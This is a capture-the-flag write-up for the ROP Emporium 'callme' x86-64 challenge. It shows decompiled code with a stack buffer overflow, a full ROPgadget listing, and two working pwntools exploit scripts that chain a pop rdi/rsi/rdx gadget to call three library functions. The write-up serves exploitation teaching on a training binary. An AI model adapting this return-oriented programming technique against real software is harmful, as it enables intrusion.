Let’s run file.
$ file callme
callme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e8e49880bdcaeb9012c6de5f8002c72d8827ea4c, not stripped
Nothing special…
There’s a shared object file as well.
$ file libcallme.so
libcallme.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=be0ff85ee2d8ff280e7bc612bb2a2709737e8881, not stripped
In addition, some weird files were given. Not sure what the purpose is.
$ file encrypted_flag.dat
encrypted_flag.dat: Non-ISO extended-ASCII text, with no line terminators
$ file key1.dat
key1.dat: data
file key2.dat
key2.dat: data
Another important program is ldd.
It lists dependencies the ELF file needs to execute.
$ ldd callme
linux-vdso.so.1 (0x000078ca7df72000)
libcallme.so => ./libcallme.so (0x000078ca7dc00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x000078ca7d800000)
/lib64/ld-linux-x86-64.so.2 (0x000078ca7df74000)
The goal is to call three functions.
callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d).
callme_two(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d).
callme_three(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d).
Load the binary to ghidra or use objdump.
Here’s the main function.
undefined8 main(void)
{
setvbuf(stdout,(char *)0x0,2,0);
puts("callme by ROP Emporium");
puts("x86_64\n");
pwnme();
puts("\nExiting");
return 0;
}
The pwnme function.
void pwnme(void)
{
undefined1 local_28 [32];
memset(local_28,0,0x20);
puts("Hope you read the instructions...\n");
printf("> ");
read(0,local_28,0x200);
puts("Thank you!");
return;
}
Here’s the usefulFunction.
void usefulFunction(void)
{
callme_three(4,5,6);
callme_two(4,5,6);
callme_one(4,5,6);
/* WARNING: Subroutine does not return */
exit(1);
}
Run ROPgadget to check the gadgets we can use to call the callme functions.
Since we need to set up 3 arguments, we’ll need to find a pop rdi, rsi, rdx, ret instruction.
$ ROPgadget --binary callme
Gadgets information
============================================================
0x00000000004007be : adc byte ptr [rax], ah ; jmp rax
0x0000000000400732 : adc cl, byte ptr [rcx] ; and byte ptr [rax], al ; push 6 ; jmp 0x4006c0
0x0000000000400789 : add ah, dh ; nop dword ptr [rax + rax] ; repz ret
0x0000000000400717 : add al, 0 ; add byte ptr [rax], al ; jmp 0x4006c0
0x00000000004006f7 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x4006c0
0x000000000040078f : add bl, dh ; ret
0x00000000004009ad : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004009ab : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004006d7 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x4006c0
0x0000000000400892 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040083c : add byte ptr [rax], al ; add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x4007d0
0x00000000004009ac : add byte ptr [rax], al ; add byte ptr [rax], al ; repz ret
0x000000000040083d : add byte ptr [rax], al ; add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x4007d0
0x0000000000400a3d : add byte ptr [rax], al ; add byte ptr [rbp + rdi*8 - 1], ch ; call qword ptr [rax + 0x23000000]
0x00000000004006d9 : add byte ptr [rax], al ; jmp 0x4006c0
0x00000000004007c6 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040083e : add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x4007d0
0x000000000040078e : add byte ptr [rax], al ; repz ret
0x00000000004007c5 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040078d : add byte ptr [rax], r8b ; repz ret
0x000000000040083f : add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x4007d0
0x0000000000400a3f : add byte ptr [rbp + rdi*8 - 1], ch ; call qword ptr [rax + 0x23000000]
0x0000000000400827 : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400a3c : add byte ptr fs:[rax], al ; add byte ptr [rbp + rdi*8 - 1], ch ; call qword ptr [rax + 0x23000000]
0x0000000000400752 : add cl, byte ptr [rcx] ; and byte ptr [rax], al ; push 8 ; jmp 0x4006c0
0x00000000004006e7 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x4006c0
0x0000000000400828 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; repz ret
0x0000000000400707 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x4006c0
0x00000000004006bb : add esp, 8 ; ret
0x00000000004006ba : add rsp, 8 ; ret
0x0000000000400788 : and byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; repz ret
0x00000000004006d4 : and byte ptr [rax], al ; push 0 ; jmp 0x4006c0
0x00000000004006e4 : and byte ptr [rax], al ; push 1 ; jmp 0x4006c0
0x00000000004006f4 : and byte ptr [rax], al ; push 2 ; jmp 0x4006c0
0x0000000000400704 : and byte ptr [rax], al ; push 3 ; jmp 0x4006c0
0x0000000000400714 : and byte ptr [rax], al ; push 4 ; jmp 0x4006c0
0x0000000000400724 : and byte ptr [rax], al ; push 5 ; jmp 0x4006c0
0x0000000000400734 : and byte ptr [rax], al ; push 6 ; jmp 0x4006c0
0x0000000000400744 : and byte ptr [rax], al ; push 7 ; jmp 0x4006c0
0x0000000000400754 : and byte ptr [rax], al ; push 8 ; jmp 0x4006c0
0x00000000004006b1 : and byte ptr [rax], al ; test rax, rax ; je 0x4006ba ; call rax
0x0000000000400712 : and cl, byte ptr [rcx] ; and byte ptr [rax], al ; push 4 ; jmp 0x4006c0
0x0000000000400a43 : call qword ptr [rax + 0x23000000]
0x00000000004008ee : call qword ptr [rax + 0x4855c3c9]
0x0000000000400afb : call qword ptr [rcx]
0x00000000004006b8 : call rax
0x00000000004006e2 : cmp cl, byte ptr [rcx] ; and byte ptr [rax], al ; push 1 ; jmp 0x4006c0
0x000000000040098c : fmul qword ptr [rax - 0x7d] ; ret
0x000000000040078a : hlt ; nop dword ptr [rax + rax] ; repz ret
0x0000000000400843 : in eax, 0x5d ; jmp 0x4007d0
0x00000000004006b6 : je 0x4006ba ; call rax
0x00000000004007b9 : je 0x4007c8 ; pop rbp ; mov edi, 0x601070 ; jmp rax
0x00000000004007fb : je 0x400808 ; pop rbp ; mov edi, 0x601070 ; jmp rax
0x000000000040028a : jmp 0x40021c
0x00000000004002d0 : jmp 0x4002a5
0x00000000004006db : jmp 0x4006c0
0x0000000000400845 : jmp 0x4007d0
0x0000000000400ad3 : jmp qword ptr [rax]
0x0000000000400b5b : jmp qword ptr [rbp]
0x00000000004007c1 : jmp rax
0x00000000004008f0 : leave ; ret
0x0000000000400822 : mov byte ptr [rip + 0x20084f], 1 ; pop rbp ; ret
0x0000000000400891 : mov eax, 0 ; pop rbp ; ret
0x0000000000400842 : mov ebp, esp ; pop rbp ; jmp 0x4007d0
0x00000000004007bc : mov edi, 0x601070 ; jmp rax
0x0000000000400841 : mov rbp, rsp ; pop rbp ; jmp 0x4007d0
0x00000000004008ef : nop ; leave ; ret
0x00000000004007c3 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x000000000040078b : nop dword ptr [rax + rax] ; repz ret
0x0000000000400805 : nop dword ptr [rax] ; pop rbp ; ret
0x0000000000400824 : or byte ptr [r8], r12b ; add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400825 : or byte ptr [rax], ah ; add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400757 : or byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x4006c0
0x0000000000400742 : or cl, byte ptr [rcx] ; and byte ptr [rax], al ; push 7 ; jmp 0x4006c0
0x000000000040099c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040099e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004009a0 : pop r14 ; pop r15 ; ret
0x00000000004009a2 : pop r15 ; ret
0x0000000000400844 : pop rbp ; jmp 0x4007d0
0x00000000004007bb : pop rbp ; mov edi, 0x601070 ; jmp rax
0x000000000040099b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040099f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007c8 : pop rbp ; ret
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
0x00000000004009a3 : pop rdi ; ret
0x000000000040093e : pop rdx ; ret
0x00000000004009a1 : pop rsi ; pop r15 ; ret
0x000000000040093d : pop rsi ; pop rdx ; ret
0x000000000040099d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006d6 : push 0 ; jmp 0x4006c0
0x00000000004006e6 : push 1 ; jmp 0x4006c0
0x00000000004006f6 : push 2 ; jmp 0x4006c0
0x0000000000400706 : push 3 ; jmp 0x4006c0
0x0000000000400716 : push 4 ; jmp 0x4006c0
0x0000000000400726 : push 5 ; jmp 0x4006c0
0x0000000000400736 : push 6 ; jmp 0x4006c0
0x0000000000400746 : push 7 ; jmp 0x4006c0
0x0000000000400756 : push 8 ; jmp 0x4006c0
0x0000000000400840 : push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x4007d0
0x0000000000400790 : repz ret
0x00000000004006be : ret
0x0000000000400289 : retf 0x90eb
0x00000000004006b5 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000400722 : sbb cl, byte ptr [rcx] ; and byte ptr [rax], al ; push 5 ; jmp 0x4006c0
0x0000000000400702 : sub cl, byte ptr [rcx] ; and byte ptr [rax], al ; push 3 ; jmp 0x4006c0
0x00000000004009b5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004009b4 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004009aa : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; repz ret
0x00000000004006b4 : test eax, eax ; je 0x4006ba ; call rax
0x00000000004006b3 : test rax, rax ; je 0x4006ba ; call rax
0x00000000004006f2 : xor cl, byte ptr [rcx] ; and byte ptr [rax], al ; push 2 ; jmp 0x4006c0
Unique gadgets found: 111
Gotcha, found exactly what we needed.
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
We can now pass the arguments respectively 0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00dand call the callme functions.
I wrote the code in this manner because it’s better to visualize how the gadgets and arguments actually trigger the function call.
ROP allows you to set the arguments for a function with the pop instructions.
Then the ret instruction allows you to continue program execution.
from pwn import *
p = process('./callme')
e = ELF('./callme')
rop = ROP(e)
payload = b'A' * 40
pop_rdi_rsi_rdx_ret = rop.find_gadget(['pop rdi', 'pop rsi', 'pop rdx', 'ret']).address
payload += p64(pop_rdi_rsi_rdx_ret)
payload += p64(0xDEADBEEFDEADBEEF)
payload += p64(0xCAFEBABECAFEBABE)
payload += p64(0xD00DF00DD00DF00D)
payload += p64(e.symbols['callme_one'])
payload += p64(pop_rdi_rsi_rdx_ret)
payload += p64(0xDEADBEEFDEADBEEF)
payload += p64(0xCAFEBABECAFEBABE)
payload += p64(0xD00DF00DD00DF00D)
payload += p64(e.symbols['callme_two'])
payload += p64(pop_rdi_rsi_rdx_ret)
payload += p64(0xDEADBEEFDEADBEEF)
payload += p64(0xCAFEBABECAFEBABE)
payload += p64(0xD00DF00DD00DF00D)
payload += p64(e.symbols['callme_three'])
p.send(payload)
p.interactive()
Run the pwntools code and you’ll get your flag.
$ python solve.py
[+] Starting local process './callme': pid 12479
[*] '/home/hwkim301/rop_emporium/callme/callme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[*] Loaded 17 cached gadgets for './callme'
[*] Switching to interactive mode
[*] Process './callme' stopped with exit code 0 (pid 12479)
callme by ROP Emporium
x86_64
Hope you read the instructions...
> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$
You can always use pwntools to significantly reduce the code.
from pwn import *
context.arch = 'amd64'
p = process('./callme')
e = ELF('./callme')
rop = ROP(e)
args = [0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D]
rop.call(e.symbols['callme_one'], args)
rop.call(e.symbols['callme_two'], args)
rop.call(e.symbols['callme_three'], args)
payload = b'A' * 40 + rop.chain()
p.send(payload)
p.interactive()
